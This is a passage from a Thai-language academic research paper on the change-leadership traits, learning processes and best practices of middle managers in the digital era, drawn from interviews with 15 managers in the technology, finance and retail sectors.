            3. การส่งเสริมการเรียนรู้และนวัตกรรมผู้บริหารระดับกลางมีบทบาทสำคัญในการกระตุ้นและส่งเสริมวัฒนธรรมการเรียนรู้และการสร้างสรรค์นวัตกรรมภายในองค์กร ซึ่งเป็นปัจจัยสำคัญในการเพิ่มขีดความสามารถในการแข่งขันในยุคดิจิทัล ผลการวิจัยพบว่าผู้บริหารส่งเสริมการเรียนรู้ผ่านหลากหลายช่องทาง ทั้งการเรียนรู้จากประสบการณ์จริง (Experiential Learning) การเรียนรู้ร่วมกับทีม (Collaborative Learning) และการเรียนรู้ด้วยตนเองผ่านแหล่งข้อมูลออนไลน์

            การสร้างสภาพแวดล้อมที่เอื้อต่อการเรียนรู้เป็นสิ่งจำเป็น ผู้บริหารควรจัดให้มีการฝึกอบรม การแลกเปลี่ยนความรู้ หรือการจัดตั้งชุมชนแห่งการเรียนรู้ (Community of Practice) เพื่อพัฒนาทักษะที่จำเป็นในการรับมือกับการเปลี่ยนแปลง การพัฒนาทรัพยากรมนุษย์ถือเป็นรากฐานสำคัญที่สุดในการสร้างนวัตกรรมการบริหารองค์กร เนื่องจากบุคลากรที่มีประสิทธิภาพจะนำไปสู่การคิดค้นและสร้างสรรค์นวัตกรรมใหม่ ผู้บริหารต้องเป็นผู้จุดประกายความคิดสร้างสรรค์และส่งเสริมให้บุคลากรกล้าคิดนอกกรอบและทดลองสิ่งใหม่ โดยจัดกิจกรรมระดมสมอง (Brainstorming) หรือโครงการนำร่อง (Pilot Project) เพื่อสร้างนวัตกรรมที่สามารถนำมาประยุกต์ใช้ ทั้งนวัตกรรมกระบวนการ (Process Innovation) และนวัตกรรมบริการ (Service Innovation) การนำเทคโนโลยีดิจิทัลมาประยุกต์ใช้เป็นอีกหนึ่งบทบาทสำคัญ โดยผู้บริหารต้องศึกษาและทำความเข้าใจเทคโนโลยีที่เกี่ยวข้องเพื่อปรับปรุงกระบวนการทำงานและสร้างมูลค่าเพิ่มให้กับองค์กร

            อย่างไรก็ตาม การส่งเสริมนวัตกรรมต้องมาพร้อมกับการบริหารความเสี่ยง ผู้บริหารต้องเข้าใจว่าการทดลองอาจนำไปสู่ความล้มเหลวได้ จึงควรสร้างพื้นที่ปลอดภัยสำหรับนวัตกรรมและให้การสนับสนุนแก่บุคลากรในการเรียนรู้จากข้อผิดพลาด เพื่อให้พวกเขากล้าที่จะสร้างสรรค์ต่อไปโดยไม่ต้องกังวล

            4. การสื่อสารเชิงเปิดกว้าง เป็นลักษณะสำคัญของภาวะผู้นำการเปลี่ยนแปลงในยุคดิจิทัล โดยรูปแบบการสื่อสารเปลี่ยนจากแบบทางเดียว (One-way Communication) เป็นแบบสองทาง (Two-way Communication) ที่เปิดกว้างและมีปฏิสัมพันธ์มากขึ้น ผลการวิจัยพบว่าผู้บริหารใช้การสื่อสารที่โปร่งใสและเปิดโอกาสให้ทุกฝ่ายมีส่วนร่วมในการแลกเปลี่ยนความคิดเห็น ซึ่งช่วยลดความต้านทานต่อการเปลี่ยนแปลงและสร้างความเข้าใจร่วมกันในองค์กร  ผู้บริหารระดับกลางต้องสร้างบรรยากาศที่เปิดกว้างให้บุคลากรทุกระดับสามารถแสดงความคิดเห็นได้อย่างอิสระโดยไม่ต้องกลัวการถูกวิจารณ์หรือลงโทษ การนำเครื่องมือและแพลตฟอร์มดิจิทัล เช่น ระบบประชุมออนไลน์ แพลตฟอร์มแชท และโซเชียลมีเดียภายในองค์กร มาใช้ช่วยให้การสื่อสารเกิดขึ้นได้อย่างรวดเร็วและทั่วถึง ลดข้อจำกัดด้านเวลาและสถานที่ การสื่อสารเชิงเปิดกว้างต้องดำเนินการบนพื้นฐานของความเคารพ กติกามารยาท และจริยธรรม เพื่อสร้างความน่าเชื่อถือและความไว้วางใจในองค์กร การเปิดเผยข้อมูลที่จำเป็นอย่างตรงไปตรงมา รวมถึงการตอบสนองต่อข้อสงสัยและข้อเสนอแนะอย่างจริงใจ ช่วยสร้างความไว้วางใจระหว่างผู้บริหารและบุคลากร นอกจากนี้ ในยุคดิจิทัลผู้รับสารไม่ได้เป็นเพียงผู้รับข้อมูลอย่างเดียว แต่ยังมีบทบาทเป็นผู้ส่งสารและผู้สร้างเนื้อหาด้วย ซึ่งผู้บริหารต้องสนับสนุนให้บุคลากรมีส่วนร่วมในการสื่อสารและการตัดสินใจเพื่อเพิ่มพลังการขับเคลื่อนการเปลี่ยนแปลง

            5. ความยืดหยุ่นและความสามารถในการปรับตัว ผลการวิจัยพบว่าผู้บริหารระดับกลางในยุคดิจิทัลสามารถปรับเปลี่ยนแนวทางการบริหารและการตัดสินใจได้อย่างรวดเร็วเพื่อตอบสนองต่อสถานการณ์และเทคโนโลยีที่เปลี่ยนแปลง ผู้บริหารสะท้อนว่าต้องพร้อมปรับเปลี่ยนวิธีการทำงานเมื่อเผชิญสถานการณ์ไม่คาดคิด มีความยืดหยุ่นและสามารถปรับตัวต่อสถานการณ์ที่เปลี่ยนแปลงอย่างรวดเร็วตลอดเวลา ความยืดหยุ่น จึงหมายถึงการเปิดรับแนวคิดใหม่และสามารถปรับเปลี่ยนวิธีการทำงานหรือกลยุทธ์ได้อย่างรวดเร็ว ผู้บริหารต้องติดตามและประเมินสถานการณ์ทั้งภายในและภายนอกองค์กรอย่างต่อเนื่อง เพื่อให้สามารถรับรู้ถึงความเปลี่ยนแปลงและเตรียมพร้อมที่จะตอบสนองได้ทันเวลา การเปิดใจรับฟังและเรียนรู้จากข้อผิดพลาดเป็นสิ่งสำคัญ ผู้บริหารที่สามารถปรับตัวได้ดีจะไม่ยึดติดกับวิธีการเดิม แต่จะใช้ข้อมูลและบทเรียนเพื่อปรับปรุงและพัฒนากระบวนการทำงานอย่างต่อเนื่อง  ผู้บริหารต้องสามารถจัดการกับความเครียดและความไม่แน่นอนได้อย่างมีประสิทธิภาพ เพื่อรักษาสมดุลทางอารมณ์และจิตใจ พร้อมทั้งเป็นแบบอย่างที่ดีให้กับทีมงาน ความยืดหยุ่นยังรวมถึงการปรับเปลี่ยนบทบาทและหน้าที่ตามความจำเป็น เช่น การเป็นโค้ชให้กับทีม การแก้ไขปัญหาเฉพาะหน้า หรือการเป็นตัวกลางประสานงานระหว่างฝ่ายต่าง การใช้เทคโนโลยีดิจิทัลเพื่อสนับสนุนการปรับตัว เช่น การใช้ระบบข้อมูลแบบเรียลไทม์ การสื่อสารผ่านแพลตฟอร์มออนไลน์ และการวิเคราะห์ข้อมูลเพื่อการตัดสินใจ ช่วยให้การปรับตัวรวดเร็วและมีประสิทธิภาพมากขึ้น

            6. การสร้างวัฒนธรรมองค์กรที่สนับสนุนการเปลี่ยนแปลง ผลการวิจัยพบว่าผู้บริหารระดับกลางมีบทบาทสำคัญในการสร้างและขับเคลื่อนวัฒนธรรมองค์กรที่เน้นความร่วมมือ การเปิดรับความคิดใหม่ และการทำงานเป็นทีม เพื่อให้การเปลี่ยนแปลงเป็นไปอย่างยั่งยืน การสร้างวัฒนธรรมองค์กรที่สนับสนุนการเปลี่ยนแปลงเป็นหัวใจสำคัญของภาวะผู้นำการเปลี่ยนแปลงในยุคดิจิทัล โดยเฉพาะอย่างยิ่งสำหรับผู้บริหารระดับกลางที่เป็นตัวกลางในการถ่ายทอดและขับเคลื่อนนโยบายสู่การปฏิบัติ แนวทางการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลงที่ผู้บริหารระดับกลางใช้ประกอบด้วยการสร้างพื้นที่ปลอดภัยสำหรับนวัตกรรม โดยให้ทีมรู้สึกว่าสามารถลองผิดได้และเรียนรู้จากความผิดพลาดโดยไม่ถูกลงโทษ ผู้บริหารควรเป็นแบบอย่างในความคิดและพฤติกรรม (Leading by Example) เพื่อช่วยให้ทีมเกิดความเชื่อมั่น และควรสื่อสารอย่างต่อเนื่องและเปิดกว้าง เพราะการเปลี่ยนแปลงต้องอาศัยการพูดคุยกันบ่อยครั้ง ผู้บริหารต้องส่งเสริมค่านิยมที่ยืดหยุ่นและเปิดรับการเปลี่ยนแปลง สร้างความผูกพันและความรับผิดชอบร่วมกันในหมู่บุคลากร ส่งเสริมการสื่อสารและการมีส่วนร่วมในการตัดสินใจและการพัฒนากระบวนการทำงาน สนับสนุนการเรียนรู้และพัฒนาอย่างต่อเนื่อง และยอมรับความล้มเหลวอย่างสร้างสรรค์โดยมองว่าเป็นโอกาสในการพัฒนา การสร้างบรรยากาศของความร่วมมือและความไว้วางใจเป็นรากฐานสำคัญที่ทำให้การทำงานเป็นไปอย่างราบรื่นและมีประสิทธิภาพ

            7. ปัจจัยที่มีอิทธิพลต่อภาวะผู้นำการเปลี่ยนแปลง ผลการวิเคราะห์ข้อมูลพบว่ามีปัจจัยทั้งที่เอื้อต่อและขัดขวางภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลาง ปัจจัยเอื้อประกอบด้วยการสนับสนุนจากผู้บริหารระดับสูง วัฒนธรรมองค์กรที่เปิดกว้าง และการมีเทคโนโลยีที่เอื้อต่อการทำงานร่วมกัน ในขณะที่ปัจจัยขัดขวางได้แก่ความต้านทานต่อการเปลี่ยนแปลงของพนักงาน การขาดทรัพยากรหรือเครื่องมือสนับสนุน และนโยบายองค์กรที่ยังล้าหลังไม่ทันต่อการเปลี่ยนแปลงที่เกิดขึ้นอย่างรวดเร็ว การเข้าใจปัจจัยเหล่านี้ช่วยให้ผู้บริหารสามารถวางแผนและจัดการกับความท้าทายได้อย่างมีประสิทธิภาพ โดยใช้ประโยชน์จากปัจจัยเอื้อและหาทางลดผลกระทบจากปัจจัยขัดขวาง เพื่อสร้างสภาพแวดล้อมที่เหมาะสมต่อการขับเคลื่อนการเปลี่ยนแปลงในองค์กร

            ผลการวิจัยตามวัตถุประสงค์ข้อที่ 2 กระบวนการเรียนรู้และการปรับตัวของผู้บริหารระดับกลางต่อการเปลี่ยนแปลงในยุคดิจิทัล ผลการวิเคราะห์เชิงคุณภาพสะท้อนว่ากระบวนการเรียนรู้และการปรับตัวของผู้บริหารระดับกลางมิได้เกิดขึ้นแบบเส้นตรง หากเป็นวงจรแบบไดนามิกที่ประกอบด้วยขั้น “รับรู้–สืบค้น–ทดลอง–สะท้อน–สถาปนาให้ยั่งยืน” โดยมีเงื่อนไขหนุนเสริม ได้แก่ วัฒนธรรมการเรียนรู้ร่วมกัน เทคโนโลยีดิจิทัลเพื่อการตัดสินใจ และกลไกการสื่อสารโปร่งใส การค้นพบนี้ทำให้เห็นบทบาทผู้บริหารระดับกลางในฐานะ “ตัวเร่งการเรียนรู้ขององค์กร” ที่เชื่อมโยงยุทธศาสตร์สู่การปฏิบัติได้อย่างคล่องตัว ผลการวิจัยเผยให้เห็นว่ากระบวนการเรียนรู้และปรับตัวของผู้บริหารระดับกลางในยุคดิจิทัลประกอบด้วย 5 ขั้นตอนสำคัญที่เชื่อมโยงและสนับสนุนซึ่งกันและกัน ได้แก่ การรับรู้และตระหนักถึงความจำเป็นของการเปลี่ยนแปลง การค้นหาและรับข้อมูลใหม่ การทดลองและการนำไปใช้จริง การสะท้อนผลและการเรียนรู้ร่วมกัน และการปรับตัวอย่างยั่งยืน

            1. ขั้นการรับรู้และตระหนักถึงความจำเป็นของการเปลี่ยนแปลง (Awareness & Sensemaking) ผู้บริหารระดับกลางเริ่มจากการตระหนักถึงความจำเป็นของการเปลี่ยนแปลงจากแรงกดดันทั้งภายนอกและภายในองค์กร อาทิ การเปลี่ยนแปลงเทคโนโลยี พฤติกรรมผู้บริโภค และทิศทางยุทธศาสตร์ใหม่ การตระหนักดังกล่าวทำหน้าที่ลดแรงต้านเชิงจิตวิทยาและสร้างความเร่งด่วนต่อการปรับตัว ทั้งนี้ ผู้ให้ข้อมูลจำนวนหนึ่งระบุว่ามีการประยุกต์ใช้กรอบบริหารการเปลี่ยนแปลง (เช่น ADKAR, Lewin) เพื่อทำให้การสื่อสารเหตุผล ความเสี่ยงของการ “ไม่เปลี่ยน” และบทบาทของผู้มีส่วนได้ส่วนเสียชัดเจนขึ้น การเปิดพื้นที่ให้มีส่วนร่วมและรับฟังข้อเสนอแนะตั้งแต่ต้น ช่วยสร้างความเป็นเจ้าของร่วมและทำให้การตีความปัญหาไปในทิศทางเดียวกัน สาระสำคัญที่ได้ (1) การทำความเข้าใจแรงขับเคลื่อนการเปลี่ยนแปลงทั้งเชิงโอกาสและความเสี่ยง (2) การสื่อสารอย่างโปร่งใสและต่อเนื่องเพื่อลดความคลุมเครือ และ (3) การมีส่วนร่วมของบุคลากรตั้งแต่ระยะกำหนดโจทย์

            2. การค้นหาและรับข้อมูลใหม่ (Information Seeking & Environmental Scanning) เมื่อเกิดความตระหนักแล้ว ผู้บริหารจะสแกนสภาพแวดล้อมอย่างเป็นระบบ ทั้งข้อมูลภายนอก (แนวโน้มเทคโนโลยีและตลาด กรณีศึกษาที่ทันสมัย) และข้อมูลภายใน (ศักยภาพบุคลากร ทรัพยากร กระบวนการ และความพร้อมดิจิทัล) แหล่งข้อมูลมีความหลากหลาย ตั้งแต่งานวิจัย การอบรมสัมมนา เครือข่ายวิชาชีพ ไปจนถึงเครื่องมือดิจิทัลด้านวิเคราะห์ข้อมูล การคัดกรองคุณภาพข้อมูลและความสอดคล้องเชิงบริบทเป็นเงื่อนไขสำคัญ เพื่อลดความเสี่ยงจากการตัดสินใจบนข้อมูลที่ไม่แม่นยำ ขณะเดียวกัน ผู้บริหารยังทำหน้าที่ส่งเสริมวัฒนธรรม “แบ่งปันความรู้” ภายในทีม เพื่อยกระดับทุนความรู้ร่วม (shared knowledge base) ให้รองรับการตัดสินใจเชิงกลยุทธ์ สาระสำคัญที่ได้ คือ (1) การใช้หลายแหล่งข้อมูลและเทคโนโลยีเพื่อเพิ่มความครบถ้วนของหลักฐาน (2) การประเมินความน่าเชื่อถือก่อนนำไปสู่การออกแบบ และ (3) การสร้างบรรยากาศการเรียนรู้ร่วมเพื่อเร่งการแพร่กระจายความรู้ในองค์กร

            3. การทดลองและการนำไปใช้จริง (Experimentation & Application) หลังการสืบค้น ผู้บริหารจะออกแบบ “การทดลองเชิงระบบ” โดยกำหนดวัตถุประสงค์ ขอบเขต ตัวชี้วัด เวลา และทรัพยากรอย่างชัดเจน เพื่อลดความเสี่ยงและเพิ่มความสามารถในการวัดผล เทคโนโลยีดิจิทัล เช่น ระบบอัตโนมัติ ปัญญาประดิษฐ์ หรือแพลตฟอร์มดิจิทัล ถูกนำมาใช้ทั้งเพื่อเพิ่มประสิทธิภาพและเพื่อเร่งรัดการเก็บ–วิเคราะห์ข้อมูลระหว่างทดลอง แนวทางนี้พึ่งพาทีมงานสหวิทยาการและการมีส่วนร่วมของบุคลากรในวงกว้าง เพื่อให้เกิดความเข้าใจและแรงจูงใจร่วม กระบวนการติดตามและประเมินผลแบบต่อเนื่อง (continuous monitoring) ช่วยให้ผู้บริหารรับรู้ข้อจำกัด ปรับแบบจำลองการทำงาน และยกระดับแนวทางสู่ความเหมาะสมยิ่งขึ้น เมื่อผลลัพธ์เป็นที่น่าพอใจ จึงวางแผน “ขยายผล” ไปยังหน่วยงานอื่นอย่างมีลำดับขั้นสาระสำคัญที่ได้ คือ (1) การทดลองเชิงออกแบบด้วยตัวชี้วัดชัดเจน (2) การใช้เทคโนโลยีช่วยลดต้นทุนการทดลองและเพิ่มคุณภาพข้อมูล และ (3) การขยายผลอย่างมีแบบแผนเมื่อผ่านการพิสูจน์

            4. การสะท้อนผลและการเรียนรู้ร่วมกัน (Reflection & Collaborative Learning) การสะท้อนผลถูกดำเนินการทั้งในระดับโครงการและระดับทีม ผ่านเทคนิคที่หลากหลาย เช่น After Action Review, การระดมสมอง, การประชุมกลุ่มย่อย และการวิเคราะห์เชิงโครงสร้าง (เช่น SWOT) บริบทที่ปลอดภัยทางจิตวิทยาเอื้อต่อการแลกเปลี่ยนมุมมองอย่างตรงไปตรงมา ทำให้เรียนรู้ได้ทั้งจากความสำเร็จและความล้มเหลว โดยเน้นการสกัด “บทเรียนใช้การได้” (actionable lessons) เพื่อนำไปปรับกระบวนการรอบถัดไป นอกจากนี้ ผู้บริหารยังสนับสนุนให้เกิดกลไกการจัดการความรู้ (Knowledge Management) เพื่อเก็บ–จัดระบบ และเผยแพร่องค์ความรู้ที่เกิดขึ้น โดยมีเป้าหมายให้ความรู้กลายเป็นสินทรัพย์ร่วมขององค์กร มากกว่าจำกัดอยู่ในทีมใดทีมหนึ่ง สาระสำคัญที่ได้  (1) การทบทวนเชิงระบบเพื่อยืนยันสิ่งที่ใช้ได้และสิ่งที่ควรเลิก (2) การทำให้บทเรียนกลายเป็นความรู้ที่ถ่ายทอดได้ และ (3) การสร้างระบบ KM เพื่อคงไว้ซึ่งทุนความรู้ขององค์กร

            5. การปรับตัวอย่างยั่งยืน(Institutionalization for Sustainable Adaptation)ผลการวิจัยชี้ว่า การปรับตัวที่ยั่งยืนต้องพัฒนา “โครงสร้างหนุนเสริม” ทั้งระดับนโยบาย กระบวนการ และทักษะบุคลากร ผู้บริหารระดับกลางจึงผลักดันให้มีหน่วยงานหรือเวทีเฉพาะ (เช่น ทีมเร่งรัดนวัตกรรม/ศูนย์นวัตกรรม) นโยบายพัฒนาทักษะดิจิทัลอย่างต่อเนื่อง ระบบประเมินผลที่สะท้อนความก้าวหน้าการเปลี่ยนแปลง และการออกแบบโครงสร้างงานที่ยืดหยุ่นเพียงพอต่อการตอบสนองบริบทใหม่ พร้อมกันนั้น มีการปลูกฝังวัฒนธรรม “การเรียนรู้ตลอดชีวิต” และ “ความรับผิดชอบร่วม” เพื่อให้การเปลี่ยนแปลงมิใช่โครงการชั่วคราว แต่เป็นกิจวัตรเชิงระบบขององค์กรในระยะยาว

สาระสำคัญที่ได้  (1) กลไกและนโยบายรองรับการเปลี่ยนแปลงต่อเนื่อง (2) การลงทุนระยะยาวในทักษะและสมรรถนะดิจิทัล และ (3) วัฒนธรรมการเรียนรู้ที่ฝังตัวในงานประจำ

               ผลการศึกษาตามวัตถุประสงค์ข้อที่ 3  เพื่อเสนอแนวปฏิบัติที่ดี (Best Practices) ของภาวะผู้นำการเปลี่ยนแปลงในบริบทขององค์การไทยยุคใหม่ ผลการวิจัยพบว่า แนวปฏิบัติที่ดี (Best Practices) สะท้อนว่า ภาวะผู้นำการเปลี่ยนแปลงในองค์การไทยยุคดิจิทัลจำเป็นต้องพึ่งพาแนวปฏิบัติที่ “บูรณาการทั้งเชิงยุทธศาสตร์ เชิงวัฒนธรรมและเชิงเทคโนโลยี” และดำเนินไปอย่างเป็นระบบ ผู้บริหารระดับกลางมีบทบาทสำคัญในฐานะตัวกลางเชื่อมนโยบายกับการปฏิบัติจริง การสังเคราะห์ข้อมูลเชิงลึกจากผู้ให้ข้อมูลชี้ให้เห็นแนวปฏิบัติที่ดี 6 มิติหลัก ได้แก่  

              1. การสร้างวิสัยทัศน์ร่วมและการสื่อสารที่มีประสิทธิภาพ ผลการวิจัยยืนยันว่า “วิสัยทัศน์ร่วม” (shared vision) ทำหน้าที่เป็นกรอบความหมายร่วม (shared meaning) ที่หลอมรวมเป้าหมายขององค์การและความคาดหวังของบุคลากร วิสัยทัศน์ที่ดีต้องชัดเจน สอดคล้องกับค่านิยมและวัฒนธรรมเดิมขององค์การ และเปิดพื้นที่ให้บุคลากรทุกระดับมีส่วนร่วมตั้งแต่กระบวนการกำหนด เพื่อก่อให้เกิดความเป็นเจ้าของร่วม (psychological ownership) ด้านการสื่อสาร ผู้นำจำเป็นต้องสื่อสารอย่างต่อเนื่อง ชัดเจน และสองทาง โดยใช้สื่อดิจิทัลและเวทีสื่อสารที่หลากหลาย ทั้งเชิงข้อมูลและเชิงอารมณ์ เพื่อสร้างความเชื่อมั่น ลดความคลุมเครือ และกระตุ้นแรงจูงใจในการมีส่วนร่วม กรณีตัวอย่างในไทยสะท้อนว่า องค์กรที่ประกาศวิสัยทัศน์ดิจิทัลอย่างจริงจังและสื่อสารครอบคลุมทุกระดับ จะสามารถระดมพลังการเปลี่ยนแปลงได้ดีกว่าองค์กรที่สื่อสารเป็นครั้งคราว

              2. การส่งเสริมวัฒนธรรมการเรียนรู้และนวัตกรรมวัฒนธรรมที่เอื้อต่อการทดลองและยอมรับความเสี่ยงอย่างมีหลักการ เป็นเงื่อนไขสำคัญของการเปลี่ยนแปลงอย่างยั่งยืน ผู้บริหารระดับกลางควรสร้าง “พื้นที่ปลอดภัยทางจิตวิทยา” (psychological safety) เพื่อให้บุคลากรกล้าคิด กล้าลอง และเรียนรู้จากความล้มเหลวอย่างสร้างสรรค์ ควบคู่กับการลงทุนในกิจกรรมพัฒนาทักษะดิจิทัลอย่างต่อเนื่อง (เช่น เวิร์กช็อป ชุมชนแห่งการเรียนรู้ การเรียนออนไลน์) การจัดสรรทรัพยากรสนับสนุน และกลไกยกย่อง/ให้รางวัลนวัตกรรม การสื่อสารแบบเปิด (open communication) และการจัดการความรู้ (KM) ช่วยเร่งการแพร่กระจายองค์ความรู้จากทีมหนึ่งสู่อีกทีมหนึ่ง ทำให้ “บทเรียนใช้การได้” ถูกนำไปต่อยอดเป็นนวัตกรรมที่มีผลลัพธ์จริง

              3.  การสร้างเครือข่ายความร่วมมือและการมีส่วนร่วมการเปลี่ยนแปลงที่ซับซ้อนต้องอาศัยพลัง “เครือข่าย” ทั้งภายใน–ภายนอก องค์กรควรจัดทีมข้ามสายงาน (cross-functional) เพื่อบูรณาการทรัพยากรและความเชี่ยวชาญ พร้อมพัฒนาความร่วมมือกับพันธมิตรภายนอก เช่น หน่วยงานรัฐ ภาคธุรกิจ และสถาบันการศึกษา การกำหนดวิสัยทัศน์และเป้าหมายร่วมของเครือข่ายช่วยสร้างแรงมุ่งมั่นทิศทางเดียวกัน ขณะที่กลไกประสานงาน การแบ่งปันข้อมูล/เครื่องมือ และแพลตฟอร์มสื่อสารสมัยใหม่ ทำให้การทำงานร่วมกันมีประสิทธิภาพมากขึ้น การเปิดโอกาสให้บุคลากรทุกระดับมีส่วนร่วมในการออกแบบและตัดสินใจ ส่งผลต่อความเป็นเจ้าของร่วม ลดแรงต้าน และสร้างความยั่งยืน

              4. การใช้เทคโนโลยีดิจิทัลอย่างชาญฉลาดและมีจริยธรรมเทคโนโลยีเป็นตัวเร่งการเปลี่ยนแปลง แต่ความสำเร็จขึ้นกับ “ความเหมาะสมเชิงบริบท” และ “หลักจริยธรรม” ผู้บริหารระดับกลางควรคัดเลือกเทคโนโลยี (เช่น Cloud, AI, IoT, Big Data, Automation) ที่สอดคล้องกับเป้าหมายและความพร้อมขององค์กร โดยพิจารณาต้นทุน–ผลตอบแทน ผลกระทบต่อคน กระบวนการ และแบบแผนกำกับดูแลข้อมูล (data governance) การคุ้มครองข้อมูลส่วนบุคคล ความมั่นคงปลอดภัยไซเบอร์ และความโปร่งใสในการใช้ข้อมูลเป็นข้อกำหนดที่ต้องถือปฏิบัติอย่างเคร่งครัด นอกจากนี้ การใช้เทคโนโลยีควรมุ่งยกระดับประสิทธิภาพ คุณค่าลูกค้า และเชื่อมโยงกับการพัฒนาทักษะดิจิทัลของพนักงานอย่างต่อเนื่อง

              5.  การบริหารจัดการความเปลี่ยนแปลงอย่างเป็นระบบ

ผลการวิจัยชี้ว่า องค์กรที่ประสบผลสำเร็จมักปฏิบัติตามวงจร “วิเคราะห์ ออกแบบ ขับเคลื่อน ติดตาม ปรับปรุง” อย่างมีวินัย เริ่มจากการวิเคราะห์สภาพแวดล้อมภายใน/ภายนอกและความพร้อมขององค์การ (เช่น SWOT) จากนั้นกำหนดวิสัยทัศน์และเป้าหมายการเปลี่ยนแปลงที่ชัดเจน ตั้งทีมบริหารการเปลี่ยนแปลงที่มีตัวแทนหลายฝ่าย ทำแผนการสื่อสารต่อเนื่อง และจัดโปรแกรมการเรียนรู้/พัฒนาทักษะให้สอดคล้องกับบทบาทใหม่ ระหว่างดำเนินการ ต้องมีตัวชี้วัดและระบบติดตามประเมินผล (monitoring & evaluation) เพื่อป้อนกลับข้อมูลสู่การปรับแผนอย่างยืดหยุ่น สุดท้ายคือการบ่มเพาะวัฒนธรรมความยืดหยุ่นและการเรียนรู้อย่างต่อเนื่อง เพื่อให้การเปลี่ยนแปลงกลายเป็นความสามารถหลักขององค์กร

              6.  การพัฒนาทักษะผู้นำและความสามารถในการปรับตัวผู้นำยุคใหม่ต้องพัฒนาทั้ง “สมรรถนะเชิงเทคนิค (Hard Skills)” และ “สมรรถนะเชิงพฤติกรรม (Soft Skills)” อย่างสมดุล ด้านเทคนิครวมถึงความรู้ดิจิทัล กลยุทธ์ ธุรกิจ การเงิน และกฎหมาย ส่วนด้านพฤติกรรมเน้นการสื่อสาร การสร้างแรงบันดาลใจ การโน้มน้าว การทำงานเป็นทีม ความฉลาดทางอารมณ์ และการคิดเชิงวิเคราะห์–แก้ปัญหา การฝึกอบรมที่มีเป้าหมายชัด การโค้ชและเมนทอริ่งต่อเนื่องช่วยเร่งการเปลี่ยนพฤติกรรมผู้นำให้เห็นผลในงานจริง ขณะเดียวกัน การปลูกฝังทัศนคติ “เรียนรู้ตลอดชีวิต” และการเสริมความยืดหยุ่น/ความทนทานต่อความไม่แน่นอน (adaptability & resilience) เป็นฐานให้ผู้นำสามารถปรับบทบาทและตัดสินใจได้เหมาะสมท่ามกลางสภาวะ VUCA

สรุปผลการวิจัย

               การศึกษานี้มีวัตถุประสงค์เพื่อศึกษาภาวะผู้นำการเปลี่ยนแปลงของผู้บริหารระดับกลางในยุคดิจิทัล โดยมุ่งเน้น (1) ลักษณะภาวะผู้นำการเปลี่ยนแปลง (2) กระบวนการเรียนรู้และการปรับตัว (3) แนวทางการขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง การเก็บข้อมูลดำเนินการโดยการสัมภาษณ์เชิงลึกผู้บริหารระดับกลาง 15 คน ในกลุ่มอุตสาหกรรมเทคโนโลยี การเงิน และค้าปลีก ผลการวิจัยสรุปได้ว่า  ลักษณะภาวะผู้นำการเปลี่ยนแปลง ผู้บริหารระดับกลางแสดงบทบาทสำคัญในการสื่อสารอย่างสร้างสรรค์ การสร้างแรงบันดาลใจ และการเป็นแบบอย่างที่ดี โดยเน้นการปรับตัวให้เหมาะกับสถานการณ์และความคาดหวังที่เปลี่ยนแปลงไปอย่างรวดเร็วในยุคดิจิทัล ในส่วนของ  กระบวนการเรียนรู้และการปรับตัว ผู้บริหารใช้การเรียนรู้จากประสบการณ์จริง การเรียนรู้ร่วมกับทีม และการเสริมความรู้ผ่านแหล่งข้อมูลออนไลน์ การปรับตัวเน้นการปรับเปลี่ยนวิธีคิด (mindset) และพฤติกรรมเพื่อรองรับการเปลี่ยนแปลงและแนวทางขับเคลื่อนวัฒนธรรมการเปลี่ยนแปลง ผู้บริหารต้องเน้นการสร้างพื้นที่ปลอดภัยทางจิตวิทยา การสนับสนุนความคิดสร้างสรรค์ การสื่อสารเปิดกว้างและต่อเนื่อง และการสร้างบรรยากาศของความไว้วางใจและการมีส่วนร่วม ทั้งนี้ ผู้บริหารระดับกลาง

มีบทบาทสำคัญในการขับเคลื่อนการเปลี่ยนแปลงผ่านแนวปฏิบัติที่ดีหลายประการ อาทิการมีวิสัยทัศน์เชิงกลยุทธ์  การส่งเสริมการเรียนรู้และนวัตกรรม การสร้างวัฒนธรรมองค์กรที่สนับสนุนการเรียนรู้อย่างต่อเนื่อง การสื่อสารเชิงเปิดกว้าง  มีความยืดหยุ่นสูงและสามารถปรับตัวได้อย่างรวดเร็วต่อสถานการณ์ที่เปลี่ยนแปลงอย่างไม่แน่นอน  และสร้างวัฒนธรรมองค์กรที่สนับสนุนการเปลี่ยนแปลง การส่งเสริมค่านิยมที่ยืดหยุ่น เปิดรับการเรียนรู้ และยอมรับความล้มเหลวเป็นบทเรียน 

อภิปรายผลการวิจัย

              1. ลักษณะภาวะผู้นำการเปลี่ยนแปลง ผลการวิจัยสอดคล้องกับ Kotter (1990) ที่เน้นว่าผู้นำการเปลี่ยนแปลงที่มีประสิทธิภาพต้องสามารถสร้างความเร่งด่วน สื่อสารวิสัยทัศน์ และสร้างแรงจูงใจในทีมงาน ผู้บริหารระดับกลางที่ศึกษานี้มีบทบาทสำคัญในการถ่ายทอดและตีความนโยบายให้เกิดความเข้าใจและการยอมรับ ซึ่งสนับสนุนแนวคิดของ Obiwuru, T. C., et al. (2011) ที่มองผู้บริหารระดับกลางเป็นกลไกเชื่อมโยงระหว่างกลยุทธ์กับการปฏิบัติ นอกจากนี้ ผลวิจัยยังแสดงให้เห็นว่าผู้บริหารต้องแสดงความยืดหยุ่นและความสามารถในการปรับตัวต่อสภาวะแวดล้อมที่เปลี่ยนแปลงอย่างรวดเร็ว  

              2. กระบวนการเรียนรู้และการปรับตัว การเรียนรู้ของผู้บริหารระดับกลางสอดคล้องกับแนวคิด Kolb (1984) ในการเรียนรู้จากประสบการณ์ (experiential learning) และการสะท้อนคิด ผู้บริหารใช้ความล้มเหลวและความสำเร็จในอดีตเพื่อพัฒนาการทำงานในอนาคต ซึ่งสะท้อนแนวคิด Perren, L., & Grant, P. (2001)  เรื่องการเรียนรู้เชิงคู่ (double-loop learning) ที่เน้นการท้าทายสมมติฐานเดิม การเรียนรู้ร่วมกับทีมและการสร้างวัฒนธรรมการเรียนรู้ภายในทีมงานจึงเป็นสิ่งจำเป็นต่อการปรับตัวขององค์การยุคใหม่ที่เป็นกระบวนการของทั้งองค์กร ไม่ใช่แค่ปัจเจกบุคคล

